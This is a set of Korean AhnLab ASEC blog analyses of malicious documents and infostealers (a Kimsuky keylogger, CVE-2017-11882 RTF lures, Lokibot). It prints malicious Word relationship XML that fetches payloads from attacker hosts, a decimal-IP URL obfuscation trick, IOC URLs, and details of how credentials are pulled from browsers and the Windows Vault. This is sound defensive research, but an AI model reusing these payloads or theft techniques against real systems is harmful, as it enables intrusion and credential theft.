명령어로 C2(Query=50) 에서 추가 악성코드를 받아와 실행하고, Users\Public\Pictures 경로 하위에 desktop.ini.bak 파일을 생성하며, 재실행을 위해 HKLM 하위 Run키에 “Clear Web History”이름으로 desktop.ini.bak 파일을 등록한다. Powershell을 통한 추가 악성코드를 받아와 실행되었지만, 공격자는 wscript를 실행하는 부분의 잘못된 코딩으로 Run키 등록과 파일 생성을 실패했다. 재현을 위해 스크립트를 수정해 정상적으로 실행하면 파일이 생성되며, [그림 4]처럼 재실행을 위한 레지스트리 키 등록을 정상적으로 수행한다. [그림 4] 자동실행 레지스트리 등록 [그림 5] 악성 스크립트 내용(50.php) 첫 번째로 받아오는 악성코드는 파워쉘 스크립트로 [그림 5]와 같다. 시스템 정보, IP등의 정보를 수집하여 C2(Query=97)로 전송하며, 키로거 악성코드를 C2(Query=107)로 부터 받아와 실행하는 기능이 있다. [그림 6] 악성 스크립트 내용(107.php) [그림 7] 키로깅 데이터 내용(desktop.ini.bak) [그림 6]은 키로거 기능의 주요 부분의 스크립트이다. 사용자의 키 입력 뿐만 아니라 클립보드 데이터를 Users\Public\Music 경로에 desktop.ini.bak 파일로 생성해 기록한다. 뮤텍스 “Global\AlreadyRunning19122345″값 으로 중복 실행을 방지하며, 수집된 데이터는 공격자가 설정한 시간 범위 내의 랜덤한 시간마다 C2(Query=97)로 전송 및 삭제하고 다시 생성한다. 전체적인 프로세스 실행은 프록몬의 프로세스 트리와 같다. [그림 8] 프록몬 프로세스 트리 화면 Kimsuky 공격 그룹은 공격 성공을 위해 과거에 많이 사용했던 MS오피스의 수식 편집기 프로그램(EQNEDT32.EXE) 관련 취약점(CVE-2017-11882)을 현재도 사용한다. 이와 같은 과거 취약점을 악용한 악성코드 감염을 막기 위해서는 취약점 패치가 중요하다. 소프트웨어를 항상 최신으로 업데이트 해야 하며, EOS(End-Of-Service)된 소프트웨어 사용은 지양해야 한다. 의심스러운 문서 파일은 열람하지 않고, V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 하며 엔드포인트 보안 제품(V3) 뿐만 아니라 MDS와 같은 샌드박스 기반의 APT 솔루션을 도입하여 사이버 공격에 대한 피해를 예방해야 한다. [파일진단] Trojan/VBS.Agent.SC198696 (2024.03.29.00) Downloader/PowerShell.Agent.SC197158 (2024.02.26.03) Keylogger/PowerShell.Agent.SC197159 (2024.02.26.03) MD5 279c86f3796d14d2a4d89049c2b3fa2d 5bfeef520eb1e62ea2ef313bb979aeae d404ab9c8722fc97cceb95f258a2e70d AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC 진단 회피를 목적으로 교묘하게 조작된 워드파일 유포 (External+RTF) 2022-11-03
MS Office Word 문서의 External 외부 연결 접속을 가능한 점을 이용하여, 추가적인 RTF 악성코드를 유포하는 악성 워드파일은 꽤 오래전부터 지속적으로 확인되어왔다. 하지만, 최근 안티바이러스 제품의 진단을 회피하기 위한 것으로 추정되는 파일들이 국내에 다수 유포되는 정황이 확인되어 이를 알리고자 한다. 오피스 워드 External 외부 연결 접속을 이용한 RTF 취약점 악성코드 유포 – ASEC BLOG MS Office Word 문서 External 외부 연결 접속을 이용한 RTF 취약점(CVE-2017-11882) 악성코드 유포 사례가 확인되었다. 국내 쇼핑몰 등 기업을 대상으로 스팸메일을 이용하여 악성코드가 유포되고 있어 주의가 필요하다. 최근들어 External 접속을 이용한 오피스 문서 악성파일 유포가 눈에 띄게 증가하고 있다. OOXML(Office Open XML) 포맷의 정상적인 XML Relationship을 이용하여 Target 주소만 악성 URL을 이용하기 때문에, 파일 바이너리만으로는 악성 여부를 판단하기가 어… 업무상 목적으로 위장한 이메일에 워드파일을 첨부한 것은 크게 다르지 않으나, OOXML(Office Open XML) 포맷 내부에서 확인할 수 있는 webSettings.xml.rels 파일에서 특이점이 존재한다. 아래와 같이 문서 실행 시 자동으로 연결되는 External URL은 그동안 유포되던 일반적인 형태의 URL이 아님을 알 수 있다. <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="hxxp://zzzxcaaqwszazzxczxcadsqqazzxczczzzxqwaazzazxsaqwsaa@3221[45]7063/zxxsaassswq__zzzaxxsccvb__zxxxswqaaxxzzza_sdadzzqwqzzxs_dasdzsadasdas/zzxxxz_z_xcccc_zxxz[.]doc" TargetMode="External"/></Relationships> 해당 URL을 웹브라우저에 입력 시 그림 2) 와 같이 URL의 @ 앞부분은 삭제되고 @ 뒷부분에 있는 숫자는 자동으로 IP 형식으로 변환된다. URL 상에서 @ 앞부분이 삭제되는 배경은 다음과 같다. IE 버전 3.0~6.0까지는 아래와 같은 URL을 입력하는 시도에 대해 기본 인증방법을 이용하는 사이트에 사용자 정보( username:password )를 자동으로 보낼 수 있었다. 특정 보안 업데이트(MS 832894 릴리즈)가 이루어진 뒤부터 URL의 해당 영역(@ 기호 앞부분)이 무시되는 것인데, 공격자는 이러한 점을 악용하여 @ 뒷부분에 유의미한 데이터(IP로 변환될 수 있는 십진수)를 기재한 것으로 판단된다. 관련된 상세 내용은 Microsoft 기술문서 에서 확인 할 수 있다. http(s):// username:password @server/resource.txt 최근 2주간 국내에 유포된 것으로 확인되는 다수의 워드파일에서 위와 같은 유형의 URL이 확인되었다. hxxp://zzzxcaaqwszazzxczxcadsqqazzxczczzzxqwaazzazxsaqwsaa@3221[45]7063/zxxsaassswq__zzzaxxsccvb__zxxxswqaaxxzzza_sdadzzqwqzzxs_dasdzsadasdas/zzxxxz_z_xcccc_zxxz[.]doc hxxp://sdkjfksfjkjeigufdhgkfdgkhekhjhdfgkdgkhcicivbihberigidfghidgi@3236[13]5982/ego1/document_ego[.]doc hxxp://docment_dosc@3323[44]4136/uAuuUASDbjasduhuasduyuASHUDHUSAD hxxp://uUAzzyqqazzxxbbvvbdhsgfhdshqzbsdnsdzsfbnsdfgh@3221[44]8056/uuUAzzyqqazzxxbbvvbdhsgfhdshqzbsdnsdzsfbnsdfghdsfh/zxxaawazzzawwwazzasqwazzas[.]doc hxxp://zzxaaqwwweerss@1428[10]6757/zzxaaqwwweerrrrsszzxxzaaqqwwaaaqqzzzssweeessszzaazzswwe/zzxaaqwwweerrrrsszzxxzaaqqwwaaaq[.]doc hxxp://zqwerdfgvcbzasdcxssqwsedcfvfrdsaswwszawws@3221[44]8061/zxsswweerrss_zaqsddff_zxcvbfdd_qaszxxcc_zaswssxcv/zqasxxcvvfd_zqwwsdcxv[.]doc hxxp://wwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU@3323[44]4136/zzwweqwwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU/zaawqqqaazzzxcvbbvgtttyhhjjg[.]doc hxxp://aszqasdhjahsdjqzzaszwqasdasdasdjhj@2709[59]7246/ziioooooeroiooisodfo___————sdfjhjjhjhjhhj/ziiuewirisdfjhfjh[.]doc hxxp://aszqasdhjahsdjqzzaszwqasdasdasdjhj@1806[43]5509/ziioooooeroiooisodfo__———_—sdfjhjjhjhjhhj/zppolldookfodfdfdf_o[.]doc hxxp://zxqwsszzxxcvbfggzzzassqqweezzasszzzewwwsdzzzs@1755[84]8835/zxxswqqeerrdde_sdfsdf_zaqqwaa_zxzxssds/zxccvddqaa_szzxcxccx[.]doc hxxp://wwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU@3323[44]4136/zzwweqwwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU/zaawqqqaazzzxcvbbvgtttyhhjjg[.]doc 변환원리에 대해 간단히 설명하면 다음과 같다. IP 주소(IPv4)는 8비트(=octet)를 기준으로 구분되는 32비트로 이루어진 2진수 조합으로 구성되어있다. 2진수 조합(ex. 11000000)을 실제 입력하여 사용하는 것은 매우 불편하므로 2진수에 대응되는 10진수 숫자(ex. 192)를 사용하는데, 우리가 사용하는 보편적인 웹접근 방법은 10진수에 대응되는 도메인을 활용하는 것이다. 이렇게 DNS Lookup 이 이루어지는 과정을 역으로 접근해보면, External URL 에 존재하는 10진수 ‘3221457063’ 는 octet 단위에 맞춰 2진수 ‘11000000 00000011 10001000 10100111’ 로 변환되고 앞자리부터 ‘192 3 136 167’ 이 되어 변환됨을 알 수 있다. 즉, External URL이 변환되는 과정을 정리하면 다음과 같다. 최근 유포되고 있는 이러한 형식의 URL은 RTF 바이너리를 최초 실행했던 워드파일에 로드 후 CVE-2017-11882 로 알려진 과거 RTF 취약점을 사용하고 있으며, 최종적으로는 Lokibot, AgentTesla 와 같은 다양한 인포스틸러 악성코드를 내려받게 한다. 워드 문서를 실행 시 연결 시도가 발생한 것 자체로는 External URL을 이용하여 유포된 다른 파일들과 동일한 악성행위로 보여질 수 있으나, 분석 및 진단 관점에서는 공격자가 내부파일에 대한 진단회피 목적으로 External URL의 포맷을 변형하는 것으로 판단된다. 사용자는 V3를 최신 버전으로 업데이트하여 사용하고 출처가 불분명한 문서파일 실행을 자제해야 한다. [파일 진단] – Downloader/XML.External.S1942 (2022.10.25.02) – Trojan/Win.Generic.C5290118 (2022.11.03.00) – Trojan/Win.MSIL.R510204 (2022.10.27.01) – RTF/Malform-A.Gen (2018.07.03) [행위 진단] – Malware/MDP.Download.M1881 MD5 402d0dc1120c20d21a539bd8d564a6c0 471130cf70d5bc013d818098fb55749a 655dc599da82d7acfd5f35683c3fe128 URL http[:]//104[.]168[.]32[.]131/ http[:]//107[.]172[.]4[.]181/ http[:]//161[.]129[.]44[.]62/ http[:]//192[.]227[.]132[.]46/ http[:]//192[.]3[.]101[.]120/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC 특정 항공사 자소서로 위장한 RTF 악성코드 2021-10-13
ASEC 분석팀은 이번달(10월) 초에 특정 항공사 자소서로 위장한 RTF 문서형 악성코드를 확인하였다. 다른 문서형 악성코드(워드, 엑셀 등)에 비해 자주 등장하는 류의 문서형태는 아닌 형태로 특정 문서를 위장한 RTF 악성코드는 오랜만에 발견된 케이스이다. 유포 파일명 : ****항공사 자소서_.rtf 해당 RTF 문서는 MS오피스에 포함된 수식 편집기 프로그램인 EQNEDT32.EXE 관련 취약점(CVE-2017-11882)이 사용 되었으며 본문에는 자소서의 내용이 작성되다만 듯 마지막 문장이 마무리되지 못하고 끝나있다. [그림1] – 본문 내용 시작 [그림2] – 본문 내용 마지막 이 문서는 10월 1일에 최초 제작되어 10월 4일에 최종 수정된 것으로 확인되며 아래와 같이 취약점이 발생할 경우 특정 네트워크에 접속하여 추가 파일을 다운로드 할 것으로 보인다. hxxps://gozdeelektronik[.]net/wp-content/themes/0111/movie.png hxxps://gozdeelektronik[.]net/wp-content/themes/0111/movie.jpg [그림3] – 문서 제작 날짜 [그림4] – 접속 네트워크 주소 현재는 해당 주소가 활성화되어있지 않아 추가 받아오는 데이터를 확인하기는 어렵다. 활성화 시에 해당 주소로 부터 추가 데이터(악성코드)를 다운로드 받아 동작할 것으로 보인다. 이때 사용된 악성 네트워크 주소는 과거 2019년에 악성 EPS를 포함한 한글(HWP)악성코드가 사용했던 C2 주소와 동일한 것으로 보아 동일 그룹이 제작한 것으로 보이며 외부 트위터에서는 이번 RTF를 제작한 그룹으로 라자루스(Lazarus)를 언급하고 있다. 사용자들은 출처가 분명하지 않은 문서의 열람을 자제해야하며 사용하는 응용 프로그램 및 V3를 최신 버전으로 업데이트하여 사용해야한다. 해당 악성코드는 V3에서 아래와 같이 탐지 중이다. [파일 진단] Exploit/MSOffice.Agent [참고 사이트] https://twitter.com/souiten/status/1446725907637358597 MD5 dd8bb1686f16924ac797620092776022 URL https[:]//gozdeelektronik[.]net/wp-content/themes/0111/movie[.]jpg https[:]//gozdeelektronik[.]net/wp-content/themes/0111/movie[.]png AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC 오피스 워드 External 외부 연결 접속을 이용한 RTF 취약점 악성코드 유포 2021-04-16
MS Office Word 문서 External 외부 연결 접속을 이용한 RTF 취약점(CVE-2017-11882) 악성코드 유포 사례가 확인되었다. 국내 쇼핑몰 등 기업을 대상으로 스팸메일을 이용하여 악성코드가 유포되고 있어 주의가 필요하다. 최근들어 External 접속을 이용한 오피스 문서 악성파일 유포가 눈에 띄게 증가하고 있다. OOXML(Office Open XML) 포맷의 정상적인 XML Relationship을 이용하여 Target 주소만 악성 URL을 이용하기 때문에, 파일 바이너리만으로는 악성 여부를 판단하기가 어렵다. 아래는 문서에 삽입된 악성 URL이다. 문서 오픈시 자동으로 악성 URL에 접속을 시도한다. <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="http://23.95.122.25/..-.-................-.....-------------/........................................................................dot" TargetMode="External"/></Relationships> 접속 이후엔 RTF 취약점 파일 바이너리를 현재 오픈한 문서에 로드하게 된다. 취약점은 CVE-2017-11882로 과거 취약점이다. VirusTotal 에서 조회해보면 안랩 V3를 포함해 이미 다수의 AV 제품에서 진단하고 있는 형태이다. MS Office Word 문서 파일을 악성 파일로 진단하고 있지 않더라도, 실행 단계에서 RTF 바이너리가 로드되었다면 아래와 같이 실시간으로 V3 제품에서 차단하여 피해를 막을 수 있다. 안랩에서는 실시간 실행 단계 차단 외에 관련 유형 파일을 아래와 같이 진단하고 있다. [파일 진단] Downloader/XML.External Downloader/DOC.External Downloader/XML.External.S1461 RTF/Malform-A.Gen MD5 3fdc2e4e52b6499def0ff7411a7e0060 506e20689941bee2677c7214bc2083f2 e70135cdb555ce99adee7df642813dcb URL http[:]//23[.]95[.]122[.]25/[.][.]-[.]-……………[.]-…[.][.]————-/……………………………………………………[.]dot http[:]//23[.]95[.]122[.]25/[.][.]-[.]-……………[.]-…[.][.]————-/………………………………………………………………dot
ASEC 구매 주문서 메일로 위장하여 유포 중인 Lokibot 악성코드 2020-08-30
Lokibot 은 인포스틸러 악성코드로서, 웹 브라우저, 메일 클라이언트, FTP 클라이언트 등 감염 PC에 설치된 다양한 프로그램들에서 계정 정보를 탈취하는 기능을 가지고 있다. 수 년 전부터 꾸준히 유포되고 있는 악성코드이지만, 아래의 주간 통계에서 확인되듯이 최근까지도 Top 5에 매주 포함되고 있는 것을 확인할 수 있다. ASEC 주간 악성코드 통계 ( 20200817 ~ 20200823 ) ASEC 분석팀에서는 ASEC 자동 분석 시스템 RAPIT를 활용하여 알려진 악성코드들에 대한 분류 및 대응을 진행하고 있다. 여기에서는 2020년 8월 17일 월요일부터 2020년 8월 23일 일요일까지 수집된 한 주간의 통계.. asec.ahnlab.com/1371 Lokibot은 최근 AgentTesla, Formbook, AveMaria 등의 악성코드와 유사하게 대부분 스팸 메일을 통해 유포되고 있다. 또한 진단을 우회하기 위해 위의 악성코드들과 유사한 닷넷(.NET) 외형의 패커로 패킹되어 유포 중이다. 다음은 유포에 사용된 스팸 메일로서 아래와 같이 전형적인 구매 주문서 (P.O. – Purchase Order) 관련 내용을 담고 있으며 첨부 파일 실행을 유도한다. 유포 이메일 내용 (CAB 첨부형태) 첨부 파일을 확인해 보면 cab 포맷의 압축 파일이 존재하며, 압축 파일을 풀면 exe 파일이 추출되는데, 이것이 Lokibot 악성코드이다. 만약 사용자가 위의 첨부 파일을 압축 해제한 후 구매 주문서 파일로 착각하고 실행시킬 경우 Lokibot 악성코드가 실행된다. 1. 동작 흐름 Lokibot은 실행되면 아래에서 정리할 다양한 애플리케이션들에 대한 계정 정보를 추출하고 C&C 서버에 획득한 계정 정보들을 유출한다. 이후 AppDataRoaming[랜덤][랜덤].exe 경로에 파일을 복사한 후 시스템 및 숨김 속성 부여 그리고 Run Key 등록을 시도한다. 마지막으로 C&C 서버와 주기적으로 통신하며 명령을 수행할 수 있다. 하지만 일반적인 RAT나 백도어 악성코드들과는 달리 추가 악성코드 (exe 또는 dll 형태) 다운로드 및 실행, 종료, 삭제, 정보유출 등 간단한 명령 외에는 다른 다양한 기능들이 제공되지는 않는다. C&C 서버로 부터 명령을 받아 수행하는 루틴 2. Lokibot 크랙 버전 참고로 최근 접수되고 있는 샘플들은 2017년 다음 블로그에서 소개된 크랙 버전으로 생성된 파일들이다. 즉 악성코드 제작자가 만들어서 판매하는 공식 빌더가 아니라, 누군가가 크랙하여 배포한 버전의 빌더로 생성된 바이너리인데 최근까지도 이 빌더로 제작된 lokibot이 다수 접수되고 있다. 참고로 악성코드 빌더도 이렇게 크랙 버전이 존재하는 이유는 다른 유료 소프트웨어들에 대한 크랙 버전이 존재하는 것과 같은 이유일 것이다. www.trendmicro.com/en_us/research/17/l/cve-2017-11882-exploited-deliver-cracked-version-loki-infostealer.html CVE-2017-11882 Exploited to Deliver a Loki Infostealer The Cobalt hacking group was one of the first to actively exploit CVE-2017-11882 in their cybercriminal campaigns. We uncovered several others following suit in early December, delivering a plethora of threats. 일반적으로 크랙 버전이라면 원래 버전과 큰 차이가 없어야 하지만, 해당 버전의 경우 SIde Effect가 존재한다. 먼저 Lokibot은 C&C 서버 주소를 인코딩하여 가지고 있다가, 이후 CryptDecrypt() 함수를 이용해 복호화한다. 이 버전으로 생성된 바이너리들은 모두 아래와 같은 동일한 원래 C&C 서버 주소가 복호화된다. 디코딩된 원래 C&C 서버 주소 하지만 이후 패치된 즉 추가된 루틴을 진행하면서 새로운 C&C 서버를 획득하게 된다. 패치된 루틴은 .x 섹션에 존재하며, 해당 코드 바로 뒤에 있는 데이터를 0xFF 키를 이용해 XOR 디코딩하고 이렇게 얻은 주소를 원래 C&C 서버의 주소에 덮어쓴다. 패치된 루틴을 통해 생성된 C&C 주소 문제는 C&C 서버 주소 URL 외에 레지스트리 Run Key (SoftwareMicrosoftWindowsCurrentVersionRun) 경로도 동일한 루틴을 진행하게 되는데, 이에 따라 CryptDecrypt() 함수로 복호화된 Run key 문자열이 다시 인코딩된 C&C 주소로 변경되어 이후 Run Key 등록 API 함수 호출이 실패하게 된다. 즉 이 크랙 버전으로 생성된 Lokibot들은 Run Key 등록이 실패해서, 재부팅 이후 실행이 불가능하다. 비정상적인 값으로 변경되고 있는 Run Key 문자열 3. 정보 유출 대상 Lokibot은 다른 인포스틸러 악성코드들과 비교했을 때에도 그 대상이 굉장히 많은 편이다. 여기에서는 그 대상 프로그램들을 정리하고, 몇 개의 대상에 대해서는 간략하게 살펴본다. 참고로 오래 전 만들어진 악성코드이기 때문에 최신 버전의 프로그램들에서는 정보 유출 기능이 정상적으로 동작하지 않는 경우도 있으며, 만약 보안 설정으로 암호화되어 있다면 유출되더라도 공격자가 사용할 수 없을 것이다. 즉 사용하는 프로그램들을 최신 버전으로 업데이트하고 보안 관련 설정을 하는 것만으로도 일정 부분의 정보 유출을 방지할 수 있다. 정보 유출 기능을 담당하는 함수들 아래에서 상세하게 설명하지 않은 대부분의 프로그램들은 특정 경로에 존재하는 텍스트 형태의 설정 파일 또는 특정 레지스트리에 존재하는 데이터를 그대로 읽어서 C&C 서버로 보내는 기능을 갖는다. a. 웹 브라우저 – 정보 유출 대상 : Chrome, Comodo Dragon, ChromePlus, Nichrome, RockMelt, Spark, Chromium, Titan Browser, Torch, Yandex Browser, Vivaldi, Chromode, Superbird, Coowon, Mustang Browser, 360 Browser, Citrio, Chrmoe Canaria, Orbitum, Iridium, Epic Privacy Browser, CocCoc Browser, Opera Stable, Opera Next, Sleipnir, FireFox, IceDragon, K-Meleon, SeaMonkey, Flock, BlackHawk, Lunascape, Cyberfox, PaleMoon, WaterFox, Internet Explorer, Edge, Safari, QtWeb, QupZilla, Opera a.1. Internet Explorer / Edge 과거 버전의 Internet Explorer에서는 다음과 같은 레지스트리에 Auto Form 형태의 ID / PW를 저장하였다. – HKCUSoftwareMicrosoftInternet ExplorerIntelliFormsStorage2 이 키에 포함되어 있는 레지스트리 이름(Value)은 Hash 형태의 URL이며, 해당 이름의 데이터(Data)는 해당 URL에 대한 인코딩된 형태의 계정 정보이다. 문제는 이 레지스트리 키만 가지고서는 계정 정보가 저장된 웹 사이트의 URL과 그 URL에 대한 계정 정보를 확인할 수 없다. 그래서 Lokibot은 FindFirstUrlCacheEntryW(), FindNextUrlCacheEntry()를 이용해 URL Cache 를 구하고, 레지스트리 키 HKCYSoftwareMicrosoftInternet ExplorerTypedURLs 를 참조하여 사용자가 입력한 URL들을 구한다. 즉 계정 정보가 저장되었다는 것은 URL 캐시나 사용자가 입력한 로그에 해당 URL이 저장되어 있을것이기 때문에 이러한 값들을 최대한 구하는 것이다. 이후 이렇게 구한 URL들에 대해 각각 Hash를 구한 후 앞의 Storage2 키에서 구한 레지스트리 이름들을 비교한다. 만약 매칭된다면 즉 매칭되는 URL을 찾았다면, CryptUnprotectData() API를 호출하여 해당 URL에 대한 계정 정보를 획득하는데, 이 API 인자로는 Storage2 키 내부에 존재하는 레지스트리 데이터 뿐만 아니라 해당 URL도 필요하다. 이를 통해 URL 및 해당 URL에 상응하는 계정 정보를 획득할 수 있다. Storage2 키에 저장된 계정 정보 Lokibot은 Internet Explorer의 과거 버전 외에 최신 버전 대상으로도 계정 정보 획득을 시도한다. 윈도우 8 이후부터 계정 정보는 Vault라는 윈도우 시스템에 의해 저장되는데, 이는 과거 버전의 Edge 웹 브라우저도 동일하다. Vault에 저장된 계정 정보를 획득하기 위해 vaultcli.dll을 로드한 후 VaultEnumerateValuts(), VaultOpenVault(), VaultEnumerateItems(), VaultGetItem() 와 같은 API들을 이용해 구한다. a.2. Chromium 기반 웹 브라우저 다음 웹 브라우저들은 Chromium 기반의 웹 브라우저들이며, 대부분 유사하기 때문에 Google Chrome을 기준으로 설명한다. – Chrome, Comodo Dragon, ChromePlus, Nichrome, RockMelt, Spark, Chromium, Titan Browser, Torch, Yandex Browser, Vivaldi, Chromode, Superbird, Coowon, Mustang Browser, 360 Browser, Citrio, Chrmoe Canaria, Orbitum, Iridium, Epic Privacy Browser, CocCoc Browser, Opera Stable, Opera Next, Sleipnir 먼저 AppDataLocalGoogleChromeUser DataDefaultLogin Data 파일의 존재 유무를 확인하고, 존재하지 않을 시에는 Web Data 파일을 확인한다. 이는 과거 Chromium 버전에서 계정 정보가 Web Data 파일에 저장되었기 때문에 Login Data 먼저 검사한 후 이 파일이 존재하지 않으면 과거 버전으로 여기고 Web Data 파일을 읽기 위한 것으로 보인다. 참고로 다른 Chromium 기반 웹 브라우저들 마다 경로가 조금씩 다를 수 있기 때문에 위의 경로 외에도 몇 개의 경로를 더 검사한다. Chromium 기반 웹 브라우저들에 대한 계정 정보 경로 이렇게 찾은 Login Data 파일은 SQLite version 3 포맷의 데이터 파일로서, 해당 파일을 읽어 URL, ID 그리고 인코딩된 비밀번호를 찾는다. 찾은 비밀번호는 IE에서와 동일하게 CryptUnprotectData() API로 디코딩한다. 참고로 이러한 방식은 구글 크롬 버전 80 이후부터는 통하지 않는다. 해당 버전 이후 부터는 추가적으로 Local State 파일에 존재하는 마스터 키를 참조해야 하기 때문에 최신 버전의 크롬에서는 계정 정보 유출이 불가능하다. a.3. Firefox 다음 웹 브라우저들은 Mozilla Firefox 기반의 웹 브라우저들이며, 대부분 유사하기 때문에 Firefox 기준으로 설명한다. – FireFox, IceDragon, K-Meleon, SeaMonkey, Flock, BlackHawk, Lunascape, Cyberfox, PaleMoon, WaterFox 먼저 레지스트리를 참조하여 설치된 경로를 구한다. 이후 해당 경로에서 nss3.dll과 sqlite3.dll을 로드하고 뒤에서 사용될 함수들을 구한다. 다음으로 AppDataRoamingFirefoxprofiles.ini 파일을 통해 설정 파일의 경로를 구한다. Firefox의 경우 초기 버전에서는 계정 정보가 signons.txt, signons2.txt, signons3.txt 파일에 저장되었다고 하며, 이후 버전 32.0 까지는 signons.sqlite 즉 sqlite 포맷의 파일에, 그리고 이후 부터는 json 포맷의 logins.json 파일에 저장되고 있다. Lokibot은 이러한 파일들 모두에 대해 정보 유출을 시도한다. txt나 json 포맷의 경우 계정 정보가 일단은 문자열로 저장되어 있지만, signons.sqlite 파일에 저장된 버전의 경우 위에서 로드한 sqlite3.dll의 함수들을 이용해 SQL 쿼리문으로 계정 정보를 추출한다. SQL 쿼리문 계정 정보의 경우 인코딩되어 저장되는데, base64 디코딩과 앞에서 로드한 nss3.dll (Network Security Service)의 함수들로 디코딩을 진행한다. 인코딩된 Firefox 계정 정보를 디코딩하는 루틴 b. 메일 클라이언트 – 정보 유출 대상: Outlook, Thunderbird, PostBox, FossaMail, Foxmail, PocoMail, IncrediMail, gmailNotifierPro, CheckMail, Softwarenetz, OperaMail, Becky, WinChips, yMail, Trojita, TrulyMail Outlook의 경우 다음과 같은 레지스트리 키의 하위 키에서, – HKCUSoftwareMicrosoftWindows NTCurrentVersionWindows Messaging SubsystemProfilesOutlook – HKCUSoftwareMicrosoftOffice15.0OutlookProfilesOutlook – HKCUSoftwareMicrosoftOffice16.0OutlookProfilesOutlook 다음과 같은 값들을 구한다. – Email, SMTP Email Address, SMTP Server, SMTP User Name, SMTP User, POP3 Server, POP3 User Name, POP3 User, NNTP Email Address, NNTP User Name, NNTP Server, IMAP Server, IMAP User Name, IMAP User, HTTP User, HTTP Server URL, HTTPMail User Name, HTTPMail Server, POP3 Port, SMTP Port, IMAP Port Thunderbird, PostBox, FossaMail의 경우 Mozilla 기반으로서, 경로명만 다를 뿐 위에서 언급한 Firefox와 동일한 방식이 사용된다. c. FTP 클라이언트 – 정보 유출 대상 : FtpShell, Notepad++ Ftp, MyFtp, FTPBox, sherrod Ftp, FTP Now, NetSarang, EasyFtp, SFTP, AbleFTP, JaSFtp, Automize, CyberDuck, FTPInfo, LinasFtp, FileZilla, Staff Ftp, BlazeFtp, NetFile, GoFtp, AlFtp, DeluxeFTP, TotalCommand FTP, FtpGetter, WS_FTP, AnyClient, ExpanDrive, Steed, FlashFXP, NovaFTP, NetDrive, SmartFtp, FreshFtp, BitKinex, UltraFXP, OrdinFtp, Fling, ClassicFtp, WinFtp, WinSCP, 32BitFtp, FtpNavigator d. 인스턴트 메신저 – 정보 유출 대상 : Pidgin e. 파일 관리자 – 정보 유출 대상 : NexusFile, FullSync, Far, Syncovery, SecureFx f. 패스워드 관리자 – 정보 유출 대상 : mSecure, keePass, Enpass, Robo Form, 1Password g. 스티커 노트 – 정보 유출 대상 : StickyPad, To-Do DeskList, Stickies, NoteFly, NoteZilla, Microsoft Sticky Notes h. 터미널 에뮬레이터 – 정보 유출 대상 : Bitvise, Putty, SuperPutty, Kitty, Winbox i. 포커 게임 – 정보 유출 대상 : Full Tilt Poker, Poker Stars j. VNC – 정보 유출 대상 : TightVNC, RealVNC 사용자들은 의심스러운 메일을 받게 된다면 첨부 파일의 실행을 지양해야 한다. 또한 V3를 최신버전으로 업데이트하여 악성코드의 감염을 사전에 차단 할 수 있도록 신경써야 한다. 현재 자사 V3 제품에서는 해당 악성코드를 아래와 같이 진단 중이다. [파일 진단] – Trojan/Win32.Lokibot.R349444 (2020.08.28.04) [행위 진단] – Malware/MDP.Inject.M218 MD5 d6e4167f31ade27c559b119adfbcfc88
ASEC 스팸메일을 악용한 Crypter 계열 악성코드의 유포 및 동작 방식 2019-05-02
문서 파일이나 압축 파일을 첨부하여 악성코드를 유포하는 악성 스팸메일 공격 방식은 과거부터 현재까지 꾸준하게 공격자들이 사용하는 악성코드 유포 방법의 하나다. 안랩 ASEC 분석팀은 다수의 고객으로부터 접수된 스팸메일을 분석한 결과 이메일에 첨부된 악성 문서 파일에서 다운로드된 파일들이 주로 Crypter 계열의 정보 유출형 악성코드( HawkEye, Nanocore, FormBook, Lokibot, Remcos )임을 확인하였다. Crypter 계열 악성코드는 암호 알고리즘을 사용하여 AV 시그니쳐 탐지를 어렵게 파일 내부에 악성코드를 암호화 상태로 저장한 악성코드를 말한다. [ 그림 1 ] 악성 문서 파일이 첨부된 스팸메일 스팸메일에 첨부된 악성 문서 파일은 아래 [그림 2]처럼 사용자의 액션이 필요한 경우와 아닌 경우로 나눌 수 있다. [ 그림 2 ] 사용자 액션이 필요한 문서 파일 [그림 2]와 같은 문서에는 추가 악성코드를 다운로드하는 매크로 기능을 활성화 시키기 위해 “Enable Editing” , “Enable Content” 와 같은 문구가 문서 내용에 포함되어 있다. 이 경우 사용자가 “콘텐츠 사용” 버튼을 누르지 않으면 추가 악성코드는 다운로드되지 않지만, 문제는 이러한 매크로 유형이 아닌 취약점을 악용한 문서 파일들은 사용자 액션이 없어도 악성코드를 다운로드 및 실행하는 기능을 수행하기 때문에 문서 자체를 열람하지 않도록 각별한 주의가 필요하다. 사용자 액션이 불필요하고 문서 실행만으로도 추가 악성코드가 다운로드될 수 있는 악성 문서 파일은 주로 RTF(Rich Text Format) 문서 취약점을 이용한다. RTF는 MS에서 개발한 문서 형식이며, 포맷 자체가 호환이 용이하므로 일부 RTF 문서 파일은 한글 워드프로세서에서도 실행이 가능하다. 공격자가 사용하는 RTF 문서 취약점의 주요 공격 벡터는 다음과 같다. OLE2Link 취약점 CVE-2017-8570 CVE-2017-0199 CVE-2017-8579 공격자는 RTF 포맷 취약점 이외에도 RTF 내부 스트림 객체에 MS Office의 수식 편집기 취약점을 삽입하여 추가 악성코드를 다운로드하는 쉘코드를 실행하기도 한다. MS Office 수식 편집기 취약점 CVE-2017-11882 CVE-2018-0802 사용자가 취약한 RTF 문서 파일을 실행시키면 본문 내용이 [그림 3]처럼 정상적인 경우도 있지만, [그림 4]처럼 알아볼 수 